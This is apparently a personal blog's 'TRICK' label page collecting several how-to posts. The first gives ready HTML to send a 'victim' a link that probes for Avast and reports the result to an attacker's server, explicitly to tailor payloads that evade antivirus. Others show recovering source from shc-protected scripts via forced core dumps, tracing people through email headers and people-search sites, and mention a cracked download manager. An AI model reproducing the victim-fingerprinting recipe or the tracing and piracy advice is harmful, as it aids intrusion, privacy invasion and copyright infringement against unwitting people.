My Smart Work: TRICK

Showing posts with label TRICK. Show all posts

How to detect Avast Antivirus remotely?

During assessment if you know which Anti virus is used by client then you won half battle.Because you can download trial version of that AV & install it in virtual box & try to bypass that AV. So during real assessment your payload or binary don`t get caught.Today we gonna try to detect if client has installed avast or not?

Original video is posted here. In avast their is feature of site blocking ; so if you want to block any site you can put its address in block url section of avast interface.when someone load that site they get response as shown in below image.

In above image you can see that avast logo which address is localhost:12080/$$avast-webshield$$/image001.png . So if in client machine avast is installed than that image is also located at that address , by examine image is exist or not we can know that whether avast is installed or not.

For this purpose victim should visit our link where we can check about image.So i am gonna use my apache server ; where i put three html page. One is our link which we gonna send to victim ; if image exist it redirect to other document ; & if image does not exist it redirect to third html page.

(1)Make blank html page & give it to name avst.html & put following code in that html page.

<meta http-equiv="refresh" content="0; url=http://google.com/">

(2)Now make second html page & give it to name ntavst.html & put same code in that page.

<meta http-equiv="refresh" content="0; url=http://google.com/">

(3)Make third & final html page and give it to name exp.html & put following code.

<div dir="ltr" style="text-align: left;" trbidi="on">

<img src="http://127.0.0.1:12080/$$avast-webshield$$"/image001.png" onload="document.location='http://180.215.198.150/avast.html'" onerror="document.location='http://180.215.198.150/ntavast.html'" />

Note:- Change your i.p in above code.

Now put these all document in /var/www/ folder.And send link of exp.html to victim

So if avast installed then it redirect to avast.html page & finally redirect to google.com & if it does not installed then it will redirect to ntavst.html page & then redirect to google.com

Now check your apache log file from \var\log\apache2\log ; you can check if avst.html page has been visited or ntavst.html page.

PS: You can use cobalt strike `s system profiler which get you os version; browser detail; java version ; adobe reader version & flash version.

How to get plain text source from shc compiled bash script?

shahid Mandokhail TRICK ,

Shc is used to protect your shell script from modification or inspection. If you created bash script want to distribute it , but dono`t want them to easily readble by other people , then you can use it.

First we see how to compiled bash script to binary?

wget http://www.datsi.fi.upm.es/~frosal/sources/shc-3.8.7.tgz

tar -xvzf shc-3.8.7.tgz

cd shc-3.8.7

make

./shc

You can see shc usage message.

shc Usage: shc [-e date] [-m addr] [-i iopt] [-x cmnd] [-l lopt] [-rvDTCAh] -f script

Now we have script which we want to convert in binary.

./shc -f /script_path

So now you can see that it will convert plain text bash source into binary which extension is .sh.x.

How to retrieve plain text from binary?

The shc compiled binary decrypts and loads the script into memory when started right after we started the binary, just segfault it and retrieve our script from the core dump.

Core dumps are often used to debug errors in Linux or UNIX programs. A core file is generated when an application program abnormally terminates due to bug, operating system security protection schema, or program simply try to write beyond the area of memory it has allocated.

By default most of linux distributions turn off core file creation.

So we need to turn on core file creation.

ulimit -c

If output is zero means that core file is not created.

Now we set core file size limit to 70000 byte

ulimit -c 70000

Now we start binary & segfault it right away.I used IP-Digger binary to get plain text from it.

./IP-Digger4.sh.x& ( sleep 0.02 && kill -SIGSEGV $! )

sleep 0.02 will give the binary enough time to start up and decrypt the original script. The variable $! contains the pid of the last background process started, so we can easily kill it with the segmentation fault signal SIGSEGV (same as kill -11 $!).

+ segmentation fault (core dumped) ./IP-Digger4.sh.x

cat core | strings >plain_text

Now open plain_text file which we created & find plain text source of bash script.I upload source code of ip-digger here .

But if your script is too large then adjust core file size.

How to view USB History of Windows PC?

shahid Mandokhail TRICK , WINDOWS TIPS

USBDeview is a small utility that lists all USB devices that currently connected to your computer, as well as all USB devices that you previously used.
For each USB device, extended information is displayed: Device name/description, device type, serial number (for mass storage devices), the date/time that device was added, VendorID, ProductID, and more.
USBDeview also allows you to uninstall USB devices that you previously used, disconnect USB devices that are currently connected to your computer, as well as to disable and enable USB devices.

Download USBDeview For X32 System

Download USBDeview For X64 System
You can also use USBDeview on a remote computer, as long as you login to that computer with admin user.

Connecting To Remote Computer

The following command-line options allows you to connect to remote computers. You must login to the remote computer with admin user in order to use these options.

/remote <\\Computer Name>
Allows you to connect a single remote computer.
For Example:
USBDeview.exe /remote \\MyComp
/remotefile <Computers List File>
Allows you to connect multiple computers, and view all their USB activity in one window. The computers list file should be a simple Ascii text file with computer names separated by colon, semicolon, space, tab characters or CRLF.
For Example:
USBDeview.exe /remotefile "c:\temp\comp.txt"

In order to successfully get full admin access to the remote computer, read this Blog post: How to connect a remote Windows 7/Vista/XP computer with NirSoft utilities.

Connecting To external SYSTEM registry file

If you have the 'SYSTEM' registry file of external operating system, you can use the following command-line option to read the USB devices list from it:
/regfile <SYSTEM Registry File>

For Example:
USBDeview.exe /regfile "c:\temp\regfiles\SYSTEM"
USBDeview.exe /regfile "d:\windows\system32\config\SYSTEM"

This option has some limitations:

You cannot read a Registry file of Windows XP/2003/Vista from Windows 2000 Machine.
USBDeview works in read-only mode. (You cannot uninstall a device from external file)

How to find person through his email-address?

shahid Mandokhail find person through email , TRICK

How to find person through its email-address?

If you get email from unknown person and before giving reply to email, you want to find little information about that person , then you need reverse email-address lookup. Or someone who abuse you , & you want to trace person you should use reverse email-address lookup.

If person has website or listed his account in any public website then you can find information about use of search engine. But in most cases , person use fake email-address for communication.

(1)If person use any desktop client(like outlook,Evolution mail etc) to send email then you can trace his I.P. From email. But if he send from browser then you get location of his email provider. For example , person send email from gmail through web-browser then you get location of gmail server.

Open the header of the email message and look for lines that say “Received: from” followed by an IP address in square brackets. If there are multiple entries, use the IP address mentioned in the last entry.

Now paste the IP address in this trace route tool and you should get a fairly good idea about the location of the email sender.

(2)Try to email search with Facebook. Facebook is largest social website nowadays , if person register his account on that email , then you can search his profile by email-address in facebook. Put his email-address in facebook search-box.

(3)If the email address of the send is something like nirav_91@hotmail.com, there’s a probably that he or she may have created accounts of some other social network using the same alias “nirav_91” – put that in knowem.com to confirm.

(4)Finally, if nothing works, you should try a people search service like Pipl and Spokeo –both services let you perform reverse email lookups but Spokeo has a more comprehensive database than Pipl.(But some Information in Spokeo need subscription)

Other than regular web documents, Spoke also scans social networks and even the whois information of domain names to find any bit of information associated with an email address.

How to download youtube video?

shahid Mandokhail TRICK ,

There are lots of method for download you tube videos.But here i am listing some commonly use methods

(1)It`s very easy , Download youtube downloader from here.& install it.open software & copy & paste video url into software.BUT here is problem, if your connection lost then it can not be resumed.

(2)Copy video url from youtube, now open http://keepvid.comor http://savevid.com and paste video url into their site. But for this purpose you should have java program installed.

(3)it`s my favourite method. No software or plugin needed. If you want to download following video

http://youtube.com/watch?v=Y4E9brXa6hAthen just put ss at begining of url like http://ssyoutube.com/watch?v=Y4E9brXa6hA and copy it & paste it in your browser addressbar.

(4)if you have internet download manager installed.it will automatically download when you start watching video. you can download full crack version of internet download manager form here.

How to detect Avast Antivirus remotely?

How to get plain text source from shc compiled bash script?

First we see how to compiled bash script to binary?

How to retrieve plain text from binary?

How to view USB History of Windows PC?

Connecting To external SYSTEM registry file

How to find person through his email-address?

How to download youtube video?

Recent

Featured

Popular

Smart Working Posts

Best Topics

Pages

Contact Us